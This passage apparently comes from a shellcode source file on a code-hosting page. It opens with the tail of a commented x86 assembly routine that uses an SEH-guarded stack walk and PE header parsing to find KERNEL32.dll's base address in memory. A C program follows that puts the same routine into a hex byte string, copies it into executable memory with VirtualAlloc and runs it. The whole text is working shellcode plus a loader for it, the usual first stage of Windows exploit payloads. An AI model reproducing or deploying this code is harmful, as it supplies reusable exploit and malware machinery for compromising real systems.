|
||||
checking:
|
||||
|
||||
mov [ebp-0xc], ecx
|
||||
push edx ; Push the address we want to check if it's valid or not
|
||||
call checkAddress ; call the custom SEH function
|
||||
test eax, eax ; is it valid ? 0 ?
|
||||
je valid
|
||||
mov ecx, [ebp-0xc]
|
||||
jmp short StackWalk
|
||||
|
||||
|
||||
valid :
|
||||
mov ecx, [ebp-0xc]
|
||||
mov ax, 0xffff ; We want to subtract 0x10000 from the address we found 0xffff + 1 = 0x10000
|
||||
inc eax
|
||||
|
||||
|
||||
findMZ:
|
||||
sub edx, eax ; Sub 0x10000 from the possible address
|
||||
mov dx, ax
|
||||
mov ax, [edx]
|
||||
cmp ax, 0x5a4d ; check for MZ to make sure it's a DLL file.
|
||||
jne findMZ ; If not, subtract one more 0x10000 to get a different section.
|
||||
xchg edx, ebx
|
||||
mov edi, [ebx + 0x3c] ; Walk the PE file
|
||||
add edi, ebx
|
||||
mov edi, [edi + 0x78]
|
||||
add edi, ebx
|
||||
mov edi, [edi + 0xc]
|
||||
add edi, ebx
|
||||
add edi, 4
|
||||
|
||||
xor eax, eax
|
||||
push eax
|
||||
push 0x6c6c642e ; string .dll
|
||||
push 0x32334c45 ; string EL32 = EL32.dll short for KERNEL32.dll
|
||||
mov esi, esp
|
||||
|
||||
checkKernel :
|
||||
mov edx, ecx
|
||||
mov cl, 8 ; Compare string to KERNEL32.dll EDI ==> KERNEl32.dll
|
||||
cld
|
||||
|
||||
repe cmpsb
|
||||
test ecx, ecx
|
||||
je foundKernel ; if equal, jmp to foundKernel
|
||||
mov ecx, edx
|
||||
jmp StackWalk
|
||||
|
||||
foundKernel :
|
||||
; Kernel32 base address should be in EBX if you reach this line.
|
||||
|
||||
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <iostream>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
unsigned char code[] = "\x83\xEC\x08\x31\xC0\x99\x87\xCA\x8B\x1C\x0C\x89\xDA\xC1\xEB\x1C\x83\xC1\x04\x83\xFB\x07\x75\xF0\xEB\x34\x55\x89\xE5\xEB\x03\x58\xFF\xE0\xE8\xF8\xFF\xFF\xFF\x83\xC0\x1E\x50\x31\xFF\x64\xFF\x37\x64\x89\x27\x8B\x45\x08\x96\x8B\x06\x31\xC0\xEB\x09\x31\xC0\x40\x64\x8B\x27\x8B\x24\x24\x64\x8F\x07\x83\xC4\x04\x5D\xC3\x89\x4D\xF4\x52\xE8\xC3\xFF\xFF\xFF\x85\xC0\x74\x05\x8B\x4D\xF4\xEB\xA8\x8B\x4D\xF4\x66\xB8\xFF\xFF\x40\x29\xC2\x66\x89\xC2\x66\x8B\x02\x66\x3D\x4D\x5A\x75\xF2\x87\xDA\x8B\x7B\x3C\x01\xDF\x8B\x7F\x78\x01\xDF\x8B\x7F\x0C\x01\xDF\x83\xC7\x04\x31\xC0\x50\x68\x2E\x64\x6C\x6C\x68\x45\x4C\x33\x32\x89\xE6\x89\xCA\xB1\x08\xFC\xF3\xA6\x85\xC9\x74\x07\x89\xD1\xE9\x5D\xFF\xFF\xFF"
|
||||
|
||||
;
|
||||
|
||||
int main()
|
||||
{
|
||||
|
||||
|
||||
void* exec = VirtualAlloc(0, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
memcpy(exec, code, sizeof(code));
|
||||
((void(*)())exec)();
|
||||
|
||||
return 0;
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
Loading…
Add table
Reference in a new issue